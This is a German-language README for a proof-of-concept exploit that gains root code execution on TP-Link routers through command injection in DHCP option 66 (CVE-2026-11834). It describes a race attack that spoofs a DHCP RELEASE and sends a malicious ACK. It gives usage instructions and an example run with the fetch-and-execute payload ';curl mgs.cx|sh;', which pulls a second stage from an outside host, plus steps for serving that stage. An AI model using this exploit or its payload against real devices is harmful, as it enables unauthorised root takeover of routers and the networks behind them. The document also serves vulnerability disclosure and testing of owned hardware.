
Proof of Concept (PoC) für die TP-Link DHCP Option 66 nicht authentifizierte RCE (CVE-2026-11834)
TP-Link DHCP Option 66 Unangemeldete RCE (CVE-2026-11834)
Eine Befehlsinjektions-Schwachstelle (CWE-78) in der Behandlung der DHCP-Option 66 („TFTP Server Name“) der TP-Link-Router-Firmware erlaubt einem nicht authentifizierten Angreifer im selben Netzwerksegment, beliebige Befehle als root auszuführen. Wenn das Gerät als DHCP-Client auf seiner WAN-Schnittstelle fungiert, wird der in einem Lease zurückgegebene Option‑66‑Wert unbereinigt in einen tftp-Shell‑Befehl innerhalb von libcmm.so eingefügt. Fünf Funktionen erstellen diesen Befehl und übergeben ihn an util_execSystem(), das system() aufruft, sodass ein manipulierte Option‑66‑Wert als Shell‑Eingabe interpretiert und als root ausgeführt wird.
Der Option‑66‑Wert wird auf dem Gerät auf 16 Zeichen gekürzt, daher ist das Payload ein minimaler Fetch‑and‑Execute‑Befehl (;curl <domain>|sh;), der eine größere zweite Stufe über HTTP lädt.
Der Angreifer muss nicht den DHCP‑Server kontrollieren. Dieser PoC überholt den legitimen Server im Segment: Er fälscht ein DHCP RELEASE als das Ziel, um dessen Bindung zu löschen, wartet darauf, dass das Ziel seinen Lease neu bezieht, und antwortet dann auf den Broadcast des Ziels mit einem bösartigen /, das das Payload enthält, bevor der legitime Server antwortet.
OFFERACKDieser Proof of Concept (PoC) wurde gegen den TP‑Link Archer C20 V6 (Firmware 0.9.1 Build 4.19, EU) getestet. Der anfällige Codepfad wird bei einer Reihe von TP‑Link‑Routern geteilt; Speicheradressen, Funktionsadressen und Verhalten können bei anderen Modellen oder Firmware‑Versionen abweichen.
Dieser PoC liefert ein Option‑66‑Payload, das als root auf dem Zielgerät ausgeführt wird. Führen Sie dies nur gegen Hardware aus, die Ihnen gehört oder für die Sie ausdrücklich zur Überprüfung autorisiert sind.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| Argument | Beschreibung |
|---|---|
target_ip | Aktuelle IP-Adresse des Zielgeräts |
-i, --interface | Netzwerkschnittstelle im Segment des Ziels |
-s, --server-ip | IP des legitimen DHCP‑Servers |
-S, --server-mac | MAC des legitimen DHCP‑Servers |
-p, --payload | Option‑66‑Wert (<=16 Zeichen), z. B. `;curl |
-t, --target-mac | Ziel‑MAC (wird bei Weglassen via ARP automatisch aufgelöst) |
-a, --attacker-ip | Im bösartigen Lease angegebene Server‑ID (Standard: IP der Schnittstelle) |
Beispiel-Ausführung:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
Der Payload-Host dient eine zweite Stufe aus, die das Gerät abruft und ausführt. Beispiel:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80